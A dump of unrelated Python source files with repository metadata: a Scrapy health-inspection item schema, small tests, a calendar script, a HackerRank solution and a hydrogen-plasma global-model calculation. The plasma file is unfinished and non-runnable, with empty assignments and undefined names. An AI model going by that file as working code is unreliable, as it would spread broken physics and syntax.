] | 15 | 2015-01-14T23:44:56.000Z | 2017-02-15T18:31:35.000Z | scraper/items.py | jheasly/open-health-inspection-scraper | 95c17782626041286996c6384a461c0798a7c61c | [
"Apache-2.0"
] | 6 | 2015-01-22T22:49:54.000Z | 2019-06-18T23:22:36.000Z | from scrapy.item import Item, Field
from scrapy.loader import ItemLoader
from scrapy.loader.processors import Identity, MapCompose, TakeFirst, Join
from scraper.helpers.vendor_helpers import *
from slugify import slugify
from datetime import datetime
import re
def format_date(date_string):
return datetime.strptime(date_string, "%b %d, %Y")
class VendorItem(Item):
locality_id = Field(
output_processor=TakeFirst()
)
locality = Field(
output_processor=TakeFirst()
)
locality_url = Field(
output_processor=TakeFirst()
)
vendor_id = Field(
output_processor=TakeFirst()
)
guid = Field(
input_processor=MapCompose(vendor_guid),
output_processor=TakeFirst()
)
name = Field(
output_processor=TakeFirst()
)
url = Field(
output_processor=TakeFirst()
)
address = Field(
input_processor=MapCompose(vendor_address),
output_processor=TakeFirst()
)
city = Field(
input_processor=MapCompose(vendor_city),
output_processor=TakeFirst()
)
vendor_location = Field(
output_processor=TakeFirst()
)
last_inspection_date = Field(
input_processor=MapCompose(format_date),
output_processor=TakeFirst()
)
search_name = Field(
input_processor=MapCompose(vendor_search_name),
output_processor=TakeFirst()
)
type = Field(
output_processor=TakeFirst()
)
status = Field(
output_processor=TakeFirst()
)
phone = Field(
output_processor=TakeFirst()
)
slug = Field(
input_processor=MapCompose(slugify),
output_processor=TakeFirst()
)
category = Field(
input_processor=MapCompose(vendor_category),
output_processor=TakeFirst()
)
geo = Field(
# disable geocoding until SmartyStreets replacement is found
#input_processor=MapCompose(get_lat_lng),
#output_processor=TakeFirst()
)
needs_geocoding = Field(
input_processor=MapCompose(needs_geocoding),
output_processor=TakeFirst()
)
needs_geocoding_date = Field(
input_processor=MapCompose(needs_geocoding_date),
output_processor=TakeFirst()
)
inspections = Field()
class VendorItemLoader(ItemLoader):
default_item_class = VendorItem
class InspectionItem(Item):
vendor_guid = Field(
output_processor=TakeFirst()
)
date = Field(
input_processor=MapCompose(format_date),
output_processor=TakeFirst()
)
type = Field(
output_processor=TakeFirst()
)
risk_rating = Field(
output_processor=TakeFirst()
)
followup_required = Field(
output_processor=TakeFirst()
)
comments = Field(
input_processor=Join(''),
output_processor=TakeFirst()
)
violations = Field()
class InspectionItemLoader(ItemLoader):
default_item_class = InspectionItem
| 22.426087 | 74 | 0.766964 | 283 | 2,579 | 6.734982 | 0.250883 | 0.204617 | 0.327387 | 0.213012 | 0.386149 | 0.162644 | 0.117524 | 0.117524 | 0.070304 | 0.070304 | 0 | 0 | 0.134936 | 2,579 | 114 | 75 | 22.622807 | 0.854325 | 0.048856 | 0 | 0.27619 | 0 | 0 | 0.003675 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.009524 | false | 0 | 0.066667 | 0.009524 | 0.409524 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6d04a81bea04c3629213ca9bfb9d02a5dc7d0ce8 | 61 | py | Python | tests/python/for_items.py | jacereda/py2nim | 56fc2699d31241c60bed726f59efea4bf46be238 | [
"MIT"
] | 10 | 2020-03-10T12:01:01.000Z | 2021-05-23T19:47:06.000Z | tests/python/for_items.py | jacereda/py2nim | 56fc2699d31241c60bed726f59efea4bf46be238 | [
"MIT"
] | null | null | null | tests/python/for_items.py | jacereda/py2nim | 56fc2699d31241c60bed726f59efea4bf46be238 | [
"MIT"
] | 1 | 2020-07-17T11:20:56.000Z | 2020-07-17T11:20:56.000Z | a = {2: 4}
for k, v in a.items():
print(k)
print(v)
| 10.166667 | 22 | 0.459016 | 13 | 61 | 2.153846 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04878 | 0.327869 | 61 | 5 | 23 | 12.2 | 0.634146 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 3 |
6d118933bbe84c3f01f6686bf85c8155c9b55417 | 563 | py | Python | jsinclude/tests/argument_value_test.py | cobbdb/jsinclude | 7a979677359df18b755190ed569b09d0ea8dad07 | [
"MIT"
] | null | null | null | jsinclude/tests/argument_value_test.py | cobbdb/jsinclude | 7a979677359df18b755190ed569b09d0ea8dad07 | [
"MIT"
] | null | null | null | jsinclude/tests/argument_value_test.py | cobbdb/jsinclude | 7a979677359df18b755190ed569b09d0ea8dad07 | [
"MIT"
] | null | null | null | from jsinclude.templatetags.pkg.ArgumentValue import ArgumentValue
class TestArgumentValue:
def test_true_number_arg(self):
arg = ArgumentValue(1234)
assert arg == 1234
def test_string_number_arg(self):
arg = ArgumentValue('1234')
assert arg == '1234'
def test_string_arg(self):
arg = ArgumentValue('abc123')
assert arg == "'abc123'"
def test_boolean_arg(self):
arg = ArgumentValue('true')
assert arg == 'true'
arg = ArgumentValue('false')
assert arg == 'false'
| 25.590909 | 66 | 0.628774 | 61 | 563 | 5.639344 | 0.327869 | 0.232558 | 0.116279 | 0.267442 | 0.343023 | 0.343023 | 0.343023 | 0.343023 | 0.343023 | 0.343023 | 0 | 0.053269 | 0.26643 | 563 | 21 | 67 | 26.809524 | 0.779661 | 0 | 0 | 0 | 0 | 0 | 0.071048 | 0 | 0 | 0 | 0 | 0 | 0.3125 | 1 | 0.25 | false | 0 | 0.0625 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6d18302a31bc755d30f8c893405032c00082c9ee | 15,608 | py | Python | Python_Projects/Global_Model/Working/calculation.py | GUNU-GO/SNUPI | a73137699d9fc6ae8fa3d1522f341c04d8d43052 | [
"MIT"
] | null | null | null | Python_Projects/Global_Model/Working/calculation.py | GUNU-GO/SNUPI | a73137699d9fc6ae8fa3d1522f341c04d8d43052 | [
"MIT"
] | null | null | null | Python_Projects/Global_Model/Working/calculation.py | GUNU-GO/SNUPI | a73137699d9fc6ae8fa3d1522f341c04d8d43052 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
import xs
import numpy as np
from scipy.integrate import odeint
from math import isclose
from constants import *
class Global_model:
def __init__(self, p, input_power, duty, period, time_resolution=1e-8):
self.p = p
self.input_power = input_power*6.241509e18 # [J/s] to [eV/s]
self.duty = duty
self.period = period
self.time_resolution = time_resolution
self.ng = (p/7.5)/(Tg*kB)*1e-6 #[cm^-3]
lambda_i = 1/(self.ng*sigma_i) #[cm] ion-neutral mean free path
hl = 0.86*(3+l/2/lambda_i)**-0.5
hR = 0.8*(4+ro/lambda_i)**-0.5
self.Aeff = 2*np.pi*ro*(l*hR+ro*hl) #[cm^2] effective area
self.deff = V/self.Aeff #[cm]
print('Condition : {}mTorr, {}W, {}ms, {}'.format(self.p, self.input_power/6.241509e18, self.period*1000, self.duty))
def balance_equations(self, calculation_array, t, power):
Te, nH, nH_2s, nH2_v1, nH2_v2, nH2_v3, nH2_v4, nH2_v5, nH2_v6, nH2_v7, nH2_v8, nH2_v9, nHp, nH2p, nH3p, nHm = calculation_array
uB = np.sqrt(e*Te/M)*100 #[cm/s]
uB2 = np.sqrt(e*Te/2/M)*100
uB3 = np.sqrt(e*Te/3/M)*100
#Vs = -Te*np.log(4/ne/np.sqrt(8*e*Te/np.pi/m)*(nHp*uB+nH2p*uB2+nH3p*uB3))
Vs = Te*np.log(np.sqrt(M/(2*np.pi*m)))
t0 = V/self.Aeff*np.sqrt(M/(e*Te))/100 #[s] Characteristic transit time of H+ ion
#k8,k9,k11의 Te가 매우 작을때의 Cross section값을 구해야한다. (k2는 괜찮음)
##### Rate coefficient calculation #####
k1_0 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_0')
k1_1 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_1')
k1_2 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_2')
k1_3 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_3')
k1_4 = xs.rate_constant_with_analytic_xs(Te, 'reaction1_4')
k2 = np.exp(-2.858072836568e+01+1.038543976082e+01*np.log(Te)-5.383825026583e+00*(np.log(Te))**2+1.950636494405e+00*(np.log(Te))**3-5.393666392407e-01*(np.log(Te))**4+1.006916814453e-01*(np.log(Te))**5-1.160758573972e-02*(np.log(Te))**6+7.411623859122e-04*(np.log(Te))**7-2.001369618807e-05*(np.log(Te))**8)
k3_1 = xs.rate_constant_with_point_xs(Te, 'reaction3_1')
k3_2 = xs.rate_constant_with_point_xs(Te, 'reaction3_2')
k3_3 = xs.rate_constant_with_point_xs(Te, 'reaction3_3')
k3_4 = xs.rate_constant_with_point_xs(Te, 'reaction3_4')
k3_5 = xs.rate_constant_with_point_xs(Te, 'reaction3_5')
k3_6 = xs.rate_constant_with_point_xs(Te, 'reaction3_6')
k3_1_inv =
k3_2_inv =
k3_3_inv =
k3_4_inv =
k3_5_inv =
k3_6_inv =
k4_0 =
k4_1 =
k4_2 =
k4_3 =
k4_4 =
k4_5 =
k4_6 =
k4_7 =
k4_8 =
k4_0_inv =
k4_1_inv =
k4_2_inv =
k4_3_inv =
k4_4_inv =
k4_5_inv =
k4_6_inv =
k4_7_inv =
k4_8_inv =
k5_0 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_0')
k5_1 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_1')
k5_2 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_2')
k5_3 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_3')
k5_4 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_4')
k5_5 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_5')
k5_6 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_6')
k5_7 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_7')
k5_8 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_8')
k5_9 = xs.rate_constant_with_analytic_xs(Te, 'reaction5_9')
k6_0 = xs.rate_constant_with_point_xs(Te, 'reaction6_0')
k6_1 = xs.rate_constant_with_point_xs(Te, 'reaction6_1')
k6_2 = xs.rate_constant_with_point_xs(Te, 'reaction6_2')
k6_3 = xs.rate_constant_with_point_xs(Te, 'reaction6_2') #xs 데이터 보완 必
k6_4 = xs.rate_constant_with_point_xs(Te, 'reaction6_5') #xs 데이터 보완 必
k6_5 = xs.rate_constant_with_point_xs(Te, 'reaction6_5')
k6_6 = xs.rate_constant_with_point_xs(Te, 'reaction6_6')
k6_7 = xs.rate_constant_with_point_xs(Te, 'reaction6_7')
k6_8 = xs.rate_constant_with_point_xs(Te, 'reaction6_8')
k6_9 = xs.rate_constant_with_point_xs(Te, 'reaction6_9')
k7 = np.exp(-3.834597006782e+01+1.426322356722e+01*np.log(Te)-5.826468569506e+00*(np.log(Te))**2+1.727940947913e+00*(np.log(Te))**3-3.598120866343e-01*(np.log(Te))**4+4.822199350494e-02*(np.log(Te))**5-3.909402993006e-03*(np.log(Te))**6+1.738776657690e-04*(np.log(Te))**7-3.252844486351e-06*(np.log(Te))**8)
k8 = np.exp(-3.271396786375e+01+1.353655609057e+01*np.log(Te)-5.739328757388e+00*(np.log(Te))**2+1.563154982022e+00*(np.log(Te))**3-2.877056004391e-01*(np.log(Te))**4+3.482559773737e-02*(np.log(Te))**5-2.631976175590e-03*(np.log(Te))**6+1.119543953861e-04*(np.log(Te))**7-2.039149852002e-06*(np.log(Te))**8)
k9 = np.exp(-1.781416067709e+01+2.277799785711e+00*np.log(Te)-1.266868411626e+00*(np.log(Te))**2+4.296170447419e-01*(np.log(Te))**3-9.609908013189e-02*(np.log(Te))**4+1.387958040699e-02*(np.log(Te))**5-1.231349039470e-03*(np.log(Te))**6+6.042383126281e-05*(np.log(Te))**7-1.247521040900e-06*(np.log(Te))**8)
k10 = 2.1e-9
k11 = np.exp(-1.700270758355e+01-4.050073042947e-01*np.log(Te)+1.018733477232e-08*(np.log(Te))**2-1.695586285687e-08*(np.log(Te))**3+1.564311217508e-10*(np.log(Te))**4+1.979725412288e-09*(np.log(Te))**5-4.395545994733e-10*(np.log(Te))**6+3.584926377078e-11*(np.log(Te))**7-1.024189019465e-12*(np.log(Te))**8)
k12 = np.exp(-3.078408636631e+01+1.509421488513e+01*np.log(Te)-7.349167207324e+00*(np.log(Te))**2+2.320966107642e+00*(np.log(Te))**3-4.818077551719e-01*(np.log(Te))**4+6.389229162737e-02*(np.log(Te))**5-5.161880953089e-03*(np.log(Te))**6+2.303985092606e-04*(np.log(Te))**7-4.344846146197e-06*(np.log(Te))**8)
k13 = xs.rate_constant_with_point_xs(Te, 'reaction13')
k14 = np.exp(-1.801849334273e+01+2.360852208681e+00*np.log(Te)-2.827443061704e-01*(np.log(Te))**2+1.623316639567e-02*(np.log(Te))**3-3.365012031363e-02*(np.log(Te))**4+1.178329782711e-02*(np.log(Te))**5-1.656194699504e-03*(np.log(Te))**6+1.068275202678e-04*(np.log(Te))**7-2.631285809207e-06*(np.log(Te))**8)
k15 = 1.7e-9
k16 =
k17 = 4.4e-16 # at ion 0.02eV
k18 =
k19 = np.exp(-3.454175591367e+01+1.412655911280e+01*np.log(Te)-6.004466156761e+00*(np.log(Te))**2+1.589476697488e+00*(np.log(Te))**3-2.775796909649e-01*(np.log(Te))**4+3.152736888124e-02*(np.log(Te))**5-2.229578042005e-03*(np.log(Te))**6+8.890114963166e-05*(np.log(Te))**7-1.523912962346e-06*(np.log(Te))**8)
k20 = np.exp(-2.833259375256e+01+9.587356325603e+00*np.log(Te)-4.833579851041e+00*(np.log(Te))**2+1.415863373520e+00*(np.log(Te))**3-2.537887918825e-01*(np.log(Te))**4+2.800713977946e-02*(np.log(Te))**5-1.871408172571e-03*(np.log(Te))**6+6.986668318407e-05*(np.log(Te))**7-1.123758504195e-06*(np.log(Te))**8)
k21 = np.exp(-1.973476726029e+01+3.992702671457e+00*np.log(Te)-1.773436308973e+00*(np.log(Te))**2+5.331949621358e-01*(np.log(Te))**3-1.181042453190e-01*(np.log(Te))**4+1.763136575032e-02*(np.log(Te))**5-1.616005335321e-03*(np.log(Te))**6+8.093908992682e-05*(np.log(Te))**7-1.686664454913e-06*(np.log(Te))**8)
k22_1_0 = 0.42e-13 #non-reactive assumption
k22_2_0 = 0.59e-12
k22_2_1 = 0.30e-12
k22_3_0 = 0.15e-11
k22_3_1 = 0.16e-11
k22_3_2 = 0.20e-11
k22_4_0 = 0.43e-11
k22_4_1 = 0.42e-11
k22_4_2 = 0.49e-11
k22_4_3 = 0.55e-11
k22_5_0 = 0.16e-11
k22_5_1 = 0.37e-11
k22_5_2 = 0.69e-11
k22_5_3 = 0.74e-11
k22_5_4 = 0.89e-11
k22_6_0 = 0.33e-11
k22_6_1 = 0.51e-11
k22_6_2 = 0.53e-11
k22_6_3 = 0.69e-11
k22_6_4 = 0.11e-10
k22_6_5 = 0.12e-10
k22_7_0 = 0.24e-11
k22_7_1 = 0.38e-11
k22_7_2 = 0.68e-11
k22_7_3 = 0.57e-11
k22_7_4 = 0.70e-11
k22_7_5 = 0.11e-10
k22_7_6 = 0.12e-10
k22_8_0 = 0.30e-11
k22_8_1 = 0.29e-11
k22_8_2 = 0.29e-11
k22_8_3 = 0.35e-11
k22_8_4 = 0.56e-11
k22_8_5 = 0.82e-11
k22_8_6 = 0.12e-10
k22_8_7 = 0.14e-10
k22_9_0 = 0.52e-12
k22_9_1 = 0.14e-11
k22_9_2 = 0.30e-11
k22_9_3 = 0.37e-11
k22_9_4 = 0.48e-11
k22_9_5 = 0.53e-11
k22_9_6 = 0.92e-11
k22_9_7 = 0.13e-10
k22_9_8 = 0.14e-10
k23 =
k24 =
k25 =
k26 =
k27 =
k28_1_0 = 1
k28_2_0 = 0.6535
k28_2_1 = 0.35
k28_3_0 = 0.30023
k28_3_1 = 0.40221
k28_3_2 = 0.30023
k28_4_0 = 0.17949
k28_4_1 = 0.25373
k28_4_2 = 0.32389
k28_4_3 = 0.24312
k28_5_0 = 0.15093
k28_5_1 = 0.17867
k28_5_2 = 0.22844
k28_5_3 = 0.23986
k28_5_4 = 0.19662
k28_6_0 = 0.12483
k28_6_1 = 0.13462
k28_6_2 = 0.16399
k28_6_3 = 0.1958
k28_6_4 = 0.20478
k28_6_5 = 0.17541
k28_7_0 = 0.10035
k28_7_1 = 0.11096
k28_7_2 = 0.13054
k28_7_3 = 0.15991
k28_7_4 = 0.17949
k28_7_5 = 0.17051
k28_7_6 = 0.15093
k28_8_0 = 0.08648
k28_8_1 = 0.09056
k28_8_2 = 0.10688
k28_8_3 = 0.12483
k28_8_4 = 0.16888
k28_8_5 = 0.15991
k28_8_6 = 0.14033
k28_8_7 = 0.12564
k28_9_0 = 0.07506
k28_9_1 = 0.07832
k28_9_2 = 0.08974
k28_9_3 = 0.11014
k28_9_4 = 0.13951
k28_9_5 = 0.14359
k28_9_6 = 0.12483
k28_9_7 = 0.12238
k28_9_8 = 0.11503
##### Energy Loss per Reaction #####
E1_0 = 15.42
E1_1 = 15.42
E1_2 = 15.42
E1_3 = 15.42
E1_4 = 15.42
E2 = 8.5
E3_1 =
E3_2 =
E3_3 =
E3_4 =
E3_5 =
E3_6 =
E4_0 =
E4_1 =
E4_2 =
E4_3 =
E4_4 =
E4_5 =
E4_6 =
E4_7 =
E4_8 =
E5_0 = Te
E5_1 = Te
E5_2 = Te
E5_3 = Te
E5_4 = Te
E5_5 = Te
E5_6 = Te
E5_7 = Te
E5_8 = Te
E5_9 = Te
E6_0 = 20 # XS데이터가 다 20부터 시작임
E6_1 = 20
E6_2 = 20
E6_3 = 20
E6_4 = 20
E6_5 = 20
E6_6 = 20
E6_7 = 20
E6_8 = 20
E6_9 = 20
E7 = 18
E8 = 13.6
E9 = 10.5
E10 = 0
E11 = Te
E12 = 14
E13 = Te
E14 = 0.75
E15 = 0
E16 = 0
E17 = 0
E18 = 0
E19 = 15.3
E20 = 10.2
E21 = 3.4
E22 = 0
#Quasi-Neutrality eqn 완료
ne = nHp + nH2p + nH3p - nHm
#Hydrogen atom conservation eqn 완료
nH2_v0 = self.ng - (0.5*(nH + nHp + nH_2s + nHm) + sum(calculation_array[3:12]) + nH2p + 1.5*nH3p)
#Particle balance eqn for electron 완료
dne_dt = (k1_0*ne*nH2_v0) + (k1_1*ne*nH2_v1) + (k1_2*ne*nH2_v2) + (k1_3*ne*nH2_v3) + (k1_4*ne*nH2_v4) \
- (k5_0*ne*nH2_v0) - (k5_1*ne*nH2_v1) - (k5_2*ne*nH2_v2) - (k5_3*ne*nH2_v3) - (k5_4*ne*nH2_v4) - (k5_5*ne*nH2_v5) - (k5_6*ne*nH2_v6) - (k5_7*ne*nH2_v7) - (k5_8*ne*nH2_v8) - (k5_9*ne*nH2_v9) + (k7*ne*nH2_v0) + (k8*ne*nH) - (k11*ne*nH3p) - (k13*ne*nH3p) + (k14*ne*nHm) + (k15*nH*nHm) + (k21ne*nH_2s) - ne*uB*Aeff/V
#Power balance eqn for electron 아직임
dTe_dt = 2/(3*ne)*(power(t)/V - (Vs+2.5*Te)*ne*uB*Aeff/V - 3/2*Te*dne_dt - (k1*nH*E1*ne + k2*nHp*E2*ne + k3*nH2_v0*E3*ne + k4*nH2_v0*E4*ne + k5*nH2_v0*E5*ne + k6*nH2p*E6*ne + k7*nH2p*E7*ne + k8*nH2p*E8*ne + k9*nH3p*E9*ne + k10*nH3p*E10*ne + k11*nH2p*E11*nH2_v0))
#Particle balance eqn for other species except electron 아직임
dnH_dt = 2*(k2*ne*nH2_v0) + (k5_0*ne*nH2_v0) + (k5_1*ne*nH2_v1) + (k5_2*ne*nH2_v2) + (k5_3*ne*nH2_v3) + (k5_4*ne*nH2_v4) + (k5_5*ne*nH2_v5) + (k5_6*ne*nH2_v6) + (k5_7*ne*nH2_v7) + (k5_8*ne*nH2_v8) + (k5_9*ne*nH2_v9) + (k7*ne*nH2_v0) - (k8*ne*nH) + (k9*ne*nH2p) + (k10*nH2p*nH2_v0) + (k11*ne*nH3p) + 2*(k12*ne*nH3p) + (k14*ne*nHm) - (k15*nH*nHm) + (k16*nHp*nHm) + (k17*nH2p*nHm) + 2*(k18*nH3p*nHm) + (k19*ne*nH2_v0) - (k20*ne*nH) +k23 + k24 + k26 + k27
dnH_2s_dt = (k16*nHp*nHm) + (k19*ne*nH2_v0) + (k20*ne*nH) - (k21*ne*nH_2s) - k27
dnH2_v1_dt =
dnH2_v2_dt =
dnH2_v3_dt =
dnH2_v4_dt =
dnH2_v5_dt =
dnH2_v6_dt =
dnH2_v7_dt =
dnH2_v8_dt =
dnH2_v9_dt =
dnHp_dt = (k7*ne*nH2_v0) + (k8*ne*nH) + (k9*ne*nH2p) + (k12*ne*nH3p) - (k16*nHp*nHm) + (k21*ne*nH_2s) - k24
dnH2p_dt = (k1_0*ne*nH2_v0) + (k1_1*ne*nH2_v1) + (k1_2*ne*nH2_v2) + (k1_3*ne*nH2_v3) + (k1_4*ne*nH2_v4) - (k9*ne*nH2p) - (k10*nH2p*nH2_v0) + (k13*ne*nH3p) - (k17*nH2p*nHm) - k25
dnH3p_dt = (k10*nH2p*nH2_v0) - (k12*ne*nH3p) - (k13*ne*nH3p) - (k18*nH3p*nHm) - k26
dnHm_dt = (k5_1*ne*nH2_v1) + (k5_2*ne*nH2_v2) + (k5_3*ne*nH2_v3) + (k5_4*ne*nH2_v4) + (k5_5*ne*nH2_v5) + (k5_6*ne*nH2_v6) + (k5_7*ne*nH2_v7) + (k5_8*ne*nH2_v8) + (k5_9*ne*nH2_v9) + (k13*ne*nH3p) - (k14*ne*nHm) - (k15*nH*nHm) - (k16*nHp*nHm) - (k17*nH2p*nHm) - (k18*nH3p*nHm)
return [dTe_dt, dnH_dt, dnH_2s_dt, dnH2_v1_dt, dnH2_v2_dt, dnH2_v3_dt, dnH2_v4_dt, dnH2_v5_dt, dnH2_v6_dt, dnH2_v7_dt, dnH2_v8_dt, dnH2_v9_dt, dnHp_dt, dnH2p_dt, dnH3p_dt, dnHm_dt]
#Pulsed power generate function
def pulse_power(self, t):
if t <= self.duty*self.period:
return self.input_power
else:
return 0
#Temperature & Density Calculation
def routine(self, init_value):
routine_time_interval = np.linspace(0, self.period, int(self.period/self.time_resolution))
routine_result = odeint(balance_equations, init_value, routine_time_interval, args=(pulse_power,), rtol=10**-3, mxstep=10**6)
#routine_result = np.transpose(routine_result)
return routine_result
def iteration(self):
init_value = [2, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10, 1e10]
routine_result = routine(init_value)
count = 0
Hm_compare = 1
while True:
init_value = routine_result[-1]
if not isclose(routine_result[:,15][-1], Hm_compare, rel_tol=1e-2):
if iteration_number > 100:
print('did not converge')
break
Hm_compare = routine_result[:,15][-1]
routine_result = routine(init_value)
count += 1
continue
print('---------calculation complete!---------')
print('iteration count : {}'.format(count))
print('---------------------------------------')
routine_result = np.transpose(routine_result)
Te, nH, nH_2s, nH2_v1, nH2_v2, nH2_v3, nH2_v4, nH2_v5, nH2_v6, nH2_v7, nH2_v8, nH2_v9, nHp, nH2p, nH3p, nHm = routine_result
ne = nHp + nH2p + nH3p - nHm
nH2_v0 = self.ng - (0.5*(nH + nHp + nH_2s + nHm) + sum(routine_result[3:12]) + nH2p + 1.5*nH3p)
break
return Te, ne, nH, nH_2s, nH2_v0, nH2_v1, nH2_v2, nH2_v3, nH2_v4, nH2_v5, nH2_v6, nH2_v7, nH2_v8, nH2_v9, nHp, nH2p, nH3p, nHm # 18개
| 44.467236 | 475 | 0.577076 | 2,791 | 15,608 | 2.981727 | 0.159799 | 0.049267 | 0.067292 | 0.069214 | 0.409156 | 0.346071 | 0.278298 | 0.271209 | 0.141553 | 0.120404 | 0 | 0.284579 | 0.258393 | 15,608 | 350 | 476 | 44.594286 | 0.434384 | 0.045938 | 0 | 0.019802 | 0 | 0 | 0.033614 | 0.002627 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.016502 | null | null | 0.016502 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6d1dbeb738603858ee39d12d84b249a97091c528 | 174 | py | Python | practice/calendar/calendar/calendar/calendar_project.py | thekaranjit/pythonpractice | c87f535f694ee259a4d9de317f5b2eacd0e3748f | [
"Unlicense"
] | 1 | 2018-06-21T23:15:18.000Z | 2018-06-21T23:15:18.000Z | practice/calendar/calendar/calendar/calendar_project.py | thekaranjit/pythonpractice | c87f535f694ee259a4d9de317f5b2eacd0e3748f | [
"Unlicense"
] | null | null | null | practice/calendar/calendar/calendar/calendar_project.py | thekaranjit/pythonpractice | c87f535f694ee259a4d9de317f5b2eacd0e3748f | [
"Unlicense"
] | null | null | null | # import module
import calendar
# ask of month and year
yy = int(input("Enter year: "))
mm = int(input("Enter month: "))
# display the calendar
print(calendar.month(yy,mm)) | 19.333333 | 32 | 0.701149 | 27 | 174 | 4.518519 | 0.592593 | 0.131148 | 0.213115 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.155172 | 174 | 9 | 33 | 19.333333 | 0.829932 | 0.321839 | 0 | 0 | 0 | 0 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6d22c1587af4dfa165e56fe18dddcbb2dee5f664 | 73 | py | Python | k3d/_version.py | annefou/K3D-jupyter | daeb38680ec1bfa49e80b59912aab15b959052de | [
"MIT"
] | null | null | null | k3d/_version.py | annefou/K3D-jupyter | daeb38680ec1bfa49e80b59912aab15b959052de | [
"MIT"
] | null | null | null | k3d/_version.py | annefou/K3D-jupyter | daeb38680ec1bfa49e80b59912aab15b959052de | [
"MIT"
] | null | null | null | version_info = (2, 4, 19)
__version__ = '.'.join(map(str, version_info))
| 24.333333 | 46 | 0.671233 | 11 | 73 | 3.909091 | 0.727273 | 0.511628 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.0625 | 0.123288 | 73 | 2 | 47 | 36.5 | 0.609375 | 0 | 0 | 0 | 0 | 0 | 0.013699 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
6d28e0d64eb546a2315a51ec091aa3a19a839e37 | 1,038 | py | Python | hackerrank/contest/101hack2015_6_b.py | knuu/competitive-programming | 16bc68fdaedd6f96ae24310d697585ca8836ab6e | [
"MIT"
] | 1 | 2018-11-12T15:18:55.000Z | 2018-11-12T15:18:55.000Z | hackerrank/contest/101hack2015_6_b.py | knuu/competitive-programming | 16bc68fdaedd6f96ae24310d697585ca8836ab6e | [
"MIT"
] | null | null | null | hackerrank/contest/101hack2015_6_b.py | knuu/competitive-programming | 16bc68fdaedd6f96ae24310d697585ca8836ab6e | [
"MIT"
] | null | null | null | from heapq import heapify, heappush, heappop
from collections import Counter, defaultdict, deque, OrderedDict
from sys import setrecursionlimit, maxsize
from bisect import bisect_left, bisect, insort_left, insort
from math import ceil, log, factorial, hypot, pi
from fractions import gcd
from copy import deepcopy
from functools import reduce
from operator import mul
from itertools import product, permutations, combinations, accumulate, cycle
from string import ascii_uppercase, ascii_lowercase, ascii_letters, digits, hexdigits, octdigits
prod = lambda l: reduce(mul, l)
prodmod = lambda l, mod: reduce(lambda x, y: mul(x,y)%mod, l)
def read_list(t): return [t(x) for x in input().split()]
def read_line(t): return t(input())
def read_lines(t, N): return [t(input()) for _ in range(N)]
T = read_line(int)
for _ in range(T):
R, S = read_list(int)
k = R // S
if S * k <= R <= S * k + S // 4:
g = gcd(R-S*k, S)
print('{} {}/{}'.format(R, (R-S*k)//g, S//g))
else:
print('{} 0/1'.format(S*(k+1)))
